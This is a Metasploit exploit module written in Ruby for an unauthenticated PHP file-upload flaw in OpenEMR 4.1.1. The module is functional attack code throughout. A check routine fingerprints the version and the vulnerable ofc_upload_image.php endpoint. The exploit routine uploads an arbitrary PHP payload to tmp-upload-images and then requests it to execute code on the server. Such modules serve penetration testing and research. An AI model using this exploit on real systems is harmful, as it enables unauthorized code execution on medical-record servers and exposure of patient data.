131 lines
4.1 KiB
Ruby
131 lines
4.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::FileDropper
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def initialize(info={})
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super(update_info(info,
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'Name' => "OpenEMR PHP File Upload Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the
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ofc_upload_image.php file from the openflashchart library, a malicious user can
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upload a file to the tmp-upload-images directory without any authentication, which
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results in arbitrary code execution. The module has been tested successfully on
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OpenEMR 4.1.1 over Ubuntu 10.04.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'OSVDB', '90222' ],
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[ 'BID', '37314' ],
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[ 'EBD', '24492' ],
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[ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ],
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[ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ]
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],
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'Platform' => ['php'],
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'Arch' => ARCH_PHP,
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'Targets' =>
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[
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['OpenEMR 4.1.1', {}]
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],
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'Privileged' => false,
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'DisclosureDate' => "Feb 13 2013",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr'])
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], self.class)
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end
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def check
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uri = target_uri.path
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peer = "#{rhost}:#{rport}"
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# Check version
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vprint_status("Trying to detect installed version")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(uri, "interface", "login", "login.php")
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})
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if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/
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version = $1
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else
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return Exploit::CheckCode::Unknown
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end
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vprint_status("Version #{version} detected")
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if version > "4.1.1"
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return Exploit::CheckCode::Safe
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end
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# Check for vulnerable component
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vprint_status("Trying to detect the vulnerable component")
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"),
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})
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if res and res.code == 200 and res.body =~ /Saving your image to/
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return Exploit::CheckCode::Appears
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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uri = target_uri.path
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peer = "#{rhost}:#{rport}"
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payload_name = rand_text_alpha(rand(10) + 5) + '.php'
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my_payload = payload.encoded
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print_status("Sending PHP payload (#{payload_name})")
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res = send_request_raw({
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'method' => 'POST',
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'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}",
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'headers' => { "Content-Length" => my_payload.length.to_s },
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'data' => my_payload
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})
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# If the server returns 200 and the body contains our payload name,
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# we assume we uploaded the malicious file successfully
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if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/
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fail_with(Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
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end
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register_file_for_cleanup(payload_name)
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print_status("Executing PHP payload (#{payload_name})")
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# Execute our payload
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name),
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})
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# If we don't get a 200 when we request our malicious payload, we suspect
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# we don't have a shell, either. Print the status code for debugging purposes.
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if res and res.code != 200
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print_error("Server returned #{res.code.to_s}")
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end
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end
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end
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